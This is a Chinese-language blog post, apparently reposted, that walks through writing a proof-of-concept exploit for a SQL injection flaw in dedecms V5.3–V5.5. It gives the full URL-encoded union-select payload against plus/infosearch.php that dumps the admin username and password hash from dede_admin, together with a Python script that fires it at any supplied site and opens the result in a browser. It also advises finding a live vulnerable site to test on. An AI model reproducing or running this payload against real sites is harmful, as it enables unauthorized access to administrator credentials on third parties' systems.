0day Poc編寫指南(實戰篇)


為了證明某些人無腦噴咱家腳本hacker小子,所以呢,有必要證明一下,咱家也是有實力去寫POC的,只是不喜歡花時間重復造輪子而已
POC還是喜歡用PY來寫,別問我為什么不用Csharp,方便某些玩Linux的小伙伴,嗯嗯,跨平台移植性的一個問題
首先呢,小編在某站點有幸得到某hacker編寫好的POC,該POC針對dedecms V5.3-V5.5,可直接注入獲取管理員賬號與密碼,原理呢,SQL Injection不多說.
OK, 切入正題.
首先找個存在該漏洞的站點以方便后期驗證POC.
然后封包嗅探該POC發出的數據包
 
發現該POC是發送的GET請求,也就是GET注入,payload為/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23
驗證:
然后POC思路呢就出來了
1.可以直接調用瀏覽器打開帶了POC的url//選寫:還可以用瀏覽器控件打開在獲取賬號與密碼元素的innerText
2.發送HTTP Request獲取Response的Stream,把byte轉成string之后,該怎么匹配怎么匹配
這里就選擇最簡單的一個POC實現//選1
實現:在獲取到輸入的url之后加上我們的payload之后,發送GET請求之后,返回響應的狀態碼應該要為200否則我們認為該站點不存在該0day,這里需要用到 urllib   庫
我們再調用瀏覽器打開,然后我們還需要用到 webbrowser 庫
OK思路理好,然后開始寫
首先定義簡體中文編碼
#! /usr/bin/env python
# coding=utf-8

導入需要用到的類庫

import sys,urllib,webbrowser

定義一個函數輸出信息,可以用作提示信息或者歡迎界面啥的

def welcome():
    print("description:\n\tdedecmsV5.3-V5.5 0day Poc\n\tIf the 0day exists, I will call your default browser to open the URL with the payload\n\tTerms of Use:\n\t\t*.py -u dedems root directory address\n\t\t*.py -u https://www.google.com\n")

再定義一個方法用來執行功能部分

def main():
    try:
       if len(sys.argv) == 3 and sys.argv[1].lower() == '-u':
           host=sys.argv[-1]
           status_code=urllib.urlopen(host).getcode()
           if status_code == 200:
               host=sys.argv[-1]+"/plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23"
               status_code=urllib.urlopen(host).getcode()
               if status_code == 200:
                   webbrowser.open_new(host)
               else:
                    print("The vulnerability does not exist")
           else:
                print("The target is not in the state!")
    except:
        print('Terms of Use:*.py -u https://www.google.com')

最后調用

if __name__ == '__main__':
    welcome()
    main()

完全OJBK,還有一個問題,某些404或者其他狀態碼自定義的 200可能會導致認為存在的頁面調用瀏覽器打開,點到為止,差不多得了,咳咳

github傳送門


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM